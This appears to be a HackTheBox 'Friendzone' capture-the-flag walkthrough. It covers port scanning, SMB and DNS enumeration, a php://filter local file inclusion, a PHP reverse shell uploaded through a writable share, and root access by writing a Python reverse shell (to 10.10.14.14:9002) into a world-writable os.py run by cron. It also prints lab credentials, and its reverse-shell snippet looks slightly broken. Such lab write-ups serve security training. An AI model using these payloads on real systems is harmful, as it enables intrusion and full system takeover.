HTB - Friendzone
Basic Nmap scan
Nmap command: nmap -Pn -n -sC -sV -oA scan_boxs/friendzone/nmap/10.10.10.123-d-scan 10.10.10.123
Nmap scan report for 10.10.10.123
Host is up (0.15s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a96824bc971f1e54a58045e74cd9aaa0 (RSA)
| 256 e5440146ee7abb7ce91acb14999e2b8e (ECDSA)
|_ 256 004e1a4f33e8a0de86a6e42a5f84612b (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open ssl/http Apache httpd 2.4.29
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after: 2018-11-04T21:02:30
|_http-server-header: Apache/2.4.29 (Ubuntu)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2022-11-12T07:33:56
|_ start_date: N/A
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -40m00s, deviation: 1h09m16s, median: -1s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: friendzone
| NetBIOS computer name: FRIENDZONE\x00
| Domain name: \x00
| FQDN: friendzone
|_ System time: 2022-11-12T09:33:55+02:00
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
Open ports : 21,22,53,80,139,443,445
PORT | SERVICE | PRODUCT | VERSION | EXTRAINFO |
---|---|---|---|---|
21 | ftp | vsftpd | 3.0.3 | |
22 | ssh | OpenSSH | 7.6p1 Ubuntu 4 | Ubuntu Linux; protocol 2.0 |
53 | domain | ISC BIND | 9.11.3-1ubuntu1.2 | Ubuntu Linux |
80 | http | Apache httpd | 2.4.29 | (Ubuntu) |
139 | netbios-ssn | Samba smbd | 3.X - 4.X | workgroup: WORKGROUP |
443 | http | Apache httpd | 2.4.29 | |
445 | netbios-ssn | Samba smbd | 4.7.6-Ubuntu | workgroup: WORKGROUP |
ssl certificate provides us more information on hostname friendzone.red
. Now updating the /etc/hosts
file.
Enum 139,445
Exploring the general
share and found an interesting file
Downloading the creds.txt
file to the local machine.
found admin creds
Found creds for admin.
read write on development
And note that there is read and write permission for the dish Development and can put file into the directory.
Enum 80
Accessing the ip address points to a default page.
friendzone.red
is still pointing to the same default page.
found another hostname friendzoneportal.red
and updating in hosts file. And accessing this url also points to the default page. Lets see if we can find more info on port 443.
Enum 443
https request on ip address returned 404 Not Found error.
Enumerating friendzone.red
led to something interesting folders in the comment section of the web page /js/js
interesting js/js
/js/js
points to a page which returns a 40 chars length string and its changes for every new request, but could not decipher it. Time to move forward to another url.
Enumerating friendzoneportal.red
Not much tangible information discovered as of now other than urls. Time to move on to port 53 and this could be the DNS running and possibility of finding subdomains.
Enum 53 - dns
nslookup
nslookup
did not find much information.
dig
dig
was able to find more subdomains on both the urls through zone transfer
Let update the local hosts file with the newly discoverd subdomains
friendzone.red
domain has:
administrator1.friendzone.red
hr.friendzone.red
uploads.friendzone.red
friendzoneportal.red
domain has:
admin.friendzoneportal.red
files.friendzoneportal.red
imports.friendzoneportal.red
vpn.friendzoneportal.red
Enum subdomains on friendzoneportal
Admin on friendzoneprotal
Attempting to login with the creds found in the smb shares admin:WORKWORKHhallelujah@#
, but this led to nowhere.
Other than admin, reset of the subdomains didn't find any useful information to work on. Now moving to friendzone subdomains.
Enum subdomains on friendzone
Enumerating all the subdomains on friendzone administrator1, hr, uploads
administrator1 subdomain
On port 443 we could access a login page.
Logging in with found cred's again.
Successfully able to login with the credentials, and web has pointed to dashboard.php
file.
dashboard.php
has interesting page about image file and timestamp default is image_id=a.jpg&pagename=timestamp
Attempting to access the file.
uploads subdomain
Checking the uploads url
Lets try to upload file and see the response
Looks like file is successfully uploaded and there is a number 1682262087
.
Let try accessing the back.jpg uploaded file from the dashboard.php where we can pass the image_id parameter.
Cannot access the uploaded back.jpg image file
parameter manipulation
After trying to exploit the parameter image_id
and pagename
it looks like pagename is vulnerable to local file inclusion where source code of the php is visible.
LFI - source disclosure with php filter
Accessing pagename
parameter with php filter
we can see the encoded text of the file dashboard.php
and we can decode it as below.
Decoding the code with base64
As we knew we can upload file in smb lets try accessing the file path for the test file which was upload on smb.
Accessing smbshare developement
Upon several trials to detect the file location we could deduct from smbmap the file could be in /etc/Development
and since the server is appending php at the end of the string we will pass the parameter as php://filter/convert.base64-encode/resource=/etc/Development/test
Decoding the base64 show we can access the file and execute
php reverse shell
We create php file with reverse shell code init and upload the file to the smbshare development folder.
Uploading the file
Executing the revere shell php file
user flag
Privilege escalation
login creds for friend
Exploring the folder /var/www
find mysql_data.conf file containing credentials for friend user.
monitoring script
Lets download the monitoring script and this reveals /opt/server_admin/reporter.py
script run by root as a CRON job.
Downloading LinEnum.sh
file and executing. We discover that os.py is world writable permission and this library is utilized by reporter.py
file.
Let add python code with reverse shell to os.py file.
import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.14",9002))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
pty.spawn("/bin/sh")
Updated os.py file with reverse shell
Waiting for CRON job to kick in.
Root reverse shell